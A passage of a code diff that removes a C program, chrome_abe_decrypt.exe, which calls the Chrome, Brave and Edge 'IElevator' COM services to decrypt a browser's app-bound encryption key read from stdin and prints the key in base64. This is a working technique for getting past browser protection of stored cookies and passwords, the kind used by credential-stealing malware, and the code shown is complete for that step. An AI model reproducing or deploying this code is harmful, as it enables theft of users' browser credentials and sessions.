*clsid = &CLSID_ChromeBeta; *iid = &IID_IElevatorChromeBeta; *iid_v2 = &IID_IElevator2ChromeBeta; *isEdge = 0;
|
|
159
|
-
} else if (strcmp(name, "brave") == 0) {
|
|
160
|
-
*clsid = &CLSID_Brave; *iid = &IID_IElevatorBrave; *iid_v2 = &IID_IElevator2Chrome; *isEdge = 0;
|
|
161
|
-
} else if (strcmp(name, "edge") == 0) {
|
|
162
|
-
*clsid = &CLSID_Edge; *iid = &IID_IElevatorEdge; *iid_v2 = &IID_IElevator2Edge; *isEdge = 1;
|
|
163
|
-
} else {
|
|
164
|
-
return -1;
|
|
165
|
-
}
|
|
166
|
-
return 0;
|
|
167
|
-
}
|
|
168
|
-
|
|
169
|
-
/* ---------- Decrypt via COM ---------- */
|
|
170
|
-
|
|
171
|
-
static HRESULT decrypt_via_com(
|
|
172
|
-
const CLSID *clsid,
|
|
173
|
-
const IID *iid,
|
|
174
|
-
const IID *iid_v2,
|
|
175
|
-
int isEdge,
|
|
176
|
-
const unsigned char *encData,
|
|
177
|
-
DWORD encLen,
|
|
178
|
-
unsigned char **outData,
|
|
179
|
-
DWORD *outLen
|
|
180
|
-
) {
|
|
181
|
-
BSTR bstrEnc = SysAllocStringByteLen((const char *)encData, encLen);
|
|
182
|
-
if (!bstrEnc) return E_OUTOFMEMORY;
|
|
183
|
-
|
|
184
|
-
BSTR bstrPlain = NULL;
|
|
185
|
-
DWORD comErr = 0;
|
|
186
|
-
HRESULT hr = E_FAIL;
|
|
187
|
-
|
|
188
|
-
if (isEdge) {
|
|
189
|
-
/* Edge: try v2 first, then v1 */
|
|
190
|
-
IEdgeElevator *elevator = NULL;
|
|
191
|
-
|
|
192
|
-
/* Try v2 */
|
|
193
|
-
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid_v2, (void **)&elevator);
|
|
194
|
-
if (SUCCEEDED(hr)) {
|
|
195
|
-
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
196
|
-
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
197
|
-
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
198
|
-
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
199
|
-
elevator->lpVtbl->Release(elevator);
|
|
200
|
-
}
|
|
201
|
-
|
|
202
|
-
/* Fall back to v1 */
|
|
203
|
-
if (FAILED(hr)) {
|
|
204
|
-
elevator = NULL;
|
|
205
|
-
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (void **)&elevator);
|
|
206
|
-
if (SUCCEEDED(hr)) {
|
|
207
|
-
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
208
|
-
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
209
|
-
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
210
|
-
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
211
|
-
elevator->lpVtbl->Release(elevator);
|
|
212
|
-
}
|
|
213
|
-
}
|
|
214
|
-
} else {
|
|
215
|
-
/* Chrome/Brave: try v2 first, then v1 */
|
|
216
|
-
IElevator *elevator = NULL;
|
|
217
|
-
|
|
218
|
-
/* Try v2 (Chrome 144+) */
|
|
219
|
-
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid_v2, (void **)&elevator);
|
|
220
|
-
if (FAILED(hr) || hr == (HRESULT)0x80040154L /* REGDB_E_CLASSNOTREG */) {
|
|
221
|
-
/* Fall back to v1 */
|
|
222
|
-
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (void **)&elevator);
|
|
223
|
-
}
|
|
224
|
-
|
|
225
|
-
if (SUCCEEDED(hr)) {
|
|
226
|
-
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
227
|
-
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
228
|
-
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
229
|
-
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
230
|
-
elevator->lpVtbl->Release(elevator);
|
|
231
|
-
}
|
|
232
|
-
}
|
|
233
|
-
|
|
234
|
-
SysFreeString(bstrEnc);
|
|
235
|
-
|
|
236
|
-
if (FAILED(hr) || !bstrPlain) {
|
|
237
|
-
if (bstrPlain) SysFreeString(bstrPlain);
|
|
238
|
-
return FAILED(hr) ? hr : E_FAIL;
|
|
239
|
-
}
|
|
240
|
-
|
|
241
|
-
*outLen = SysStringByteLen(bstrPlain);
|
|
242
|
-
*outData = (unsigned char *)malloc(*outLen);
|
|
243
|
-
if (!*outData) {
|
|
244
|
-
SysFreeString(bstrPlain);
|
|
245
|
-
return E_OUTOFMEMORY;
|
|
246
|
-
}
|
|
247
|
-
memcpy(*outData, bstrPlain, *outLen);
|
|
248
|
-
SysFreeString(bstrPlain);
|
|
249
|
-
return S_OK;
|
|
250
|
-
}
|
|
251
|
-
|
|
252
|
-
/* ---------- main ---------- */
|
|
253
|
-
|
|
254
|
-
int main(int argc, char *argv[]) {
|
|
255
|
-
if (argc < 2) {
|
|
256
|
-
fprintf(stderr, "Usage: chrome_abe_decrypt.exe <browser>\n");
|
|
257
|
-
fprintf(stderr, " browser: chrome, chrome-beta, brave, edge\n");
|
|
258
|
-
fprintf(stderr, "Reads base64 encrypted key from stdin, writes base64 decrypted key to stdout.\n");
|
|
259
|
-
return 1;
|
|
260
|
-
}
|
|
261
|
-
|
|
262
|
-
const char *browserName = argv[1];
|
|
263
|
-
const CLSID *clsid;
|
|
264
|
-
const IID *iid, *iid_v2;
|
|
265
|
-
int isEdge;
|
|
266
|
-
|
|
267
|
-
if (get_browser(browserName, &clsid, &iid, &iid_v2, &isEdge) != 0) {
|
|
268
|
-
fprintf(stderr, "ERROR: Unknown browser '%s'. Use: chrome, chrome-beta, brave, edge\n", browserName);
|
|
269
|
-
return 1;
|
|
270
|
-
}
|
|
271
|
-
|
|
272
|
-
/* Read base64 input from stdin */
|
|
273
|
-
char input[65536];
|
|
274
|
-
size_t totalRead = 0;
|
|
275
|
-
while (totalRead < sizeof(input) - 1) {
|
|
276
|
-
size_t n = fread(input + totalRead, 1, sizeof(input) - 1 - totalRead, stdin);
|
|
277
|
-
if (n == 0) break;
|
|
278
|
-
totalRead += n;
|
|
279
|
-
}
|
|
280
|
-
input[totalRead] = '\0';
|
|
281
|
-
|
|
282
|
-
/* Trim whitespace */
|
|
283
|
-
while (totalRead > 0 && (input[totalRead-1] == '\n' || input[totalRead-1] == '\r' || input[totalRead-1] == ' ')) {
|
|
284
|
-
input[--totalRead] = '\0';
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
if (totalRead == 0) {
|
|
288
|
-
fprintf(stderr, "ERROR: No input received on stdin\n");
|
|
289
|
-
return 1;
|
|
290
|
-
}
|
|
291
|
-
|
|
292
|
-
/* Decode base64 input */
|
|
293
|
-
unsigned char *encData = NULL;
|
|
294
|
-
DWORD encLen = 0;
|
|
295
|
-
if (b64_decode(input, &encData, &encLen) != 0) {
|
|
296
|
-
fprintf(stderr, "ERROR: Failed to decode base64 input\n");
|
|
297
|
-
return 1;
|
|
298
|
-
}
|
|
299
|
-
|
|
300
|
-
/* Initialize COM */
|
|
301
|
-
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
302
|
-
if (FAILED(hr)) {
|
|
303
|
-
fprintf(stderr, "ERROR: CoInitializeEx failed: 0x%08lX\n", hr);
|
|
304
|
-
free(encData);
|
|
305
|
-
return 1;
|
|
306
|
-
}
|
|
307
|
-
|
|
308
|
-
/* Decrypt */
|
|
309
|
-
unsigned char *decData = NULL;
|
|
310
|
-
DWORD decLen = 0;
|
|
311
|
-
hr = decrypt_via_com(clsid, iid, iid_v2, isEdge, encData, encLen, &decData, &decLen);
|
|
312
|
-
free(encData);
|
|
313
|
-
|
|
314
|
-
if (FAILED(hr)) {
|
|
315
|
-
fprintf(stderr, "ERROR: DecryptData failed: 0x%08lX\n", hr);
|
|
316
|
-
CoUninitialize();
|
|
317
|
-
return 1;
|
|
318
|
-
}
|
|
319
|
-
|
|
320
|
-
/* Encode result as base64 and write to stdout */
|
|
321
|
-
char *b64out = NULL;
|
|
322
|
-
if (b64_encode(decData, decLen, &b64out) != 0) {
|
|
323
|
-
fprintf(stderr, "ERROR: Failed to encode result as base64\n");
|
|
324
|
-
free(decData);
|
|
325
|
-
CoUninitialize();
|
|
326
|
-
return 1;
|
|
327
|
-
}
|
|
328
|
-
|
|
329
|
-
printf("%s", b64out);
|
|
330
|
-
fflush(stdout);
|
|
331
|
-
|
|
332
|
-
free(b64out);
|
|
333
|
-
free(decData);
|
|
334
|
-
CoUninitialize();
|
|
335
|
-
return 0;
|
|
336
|
-
}
|
|
Binary file
|
|
File without changes
|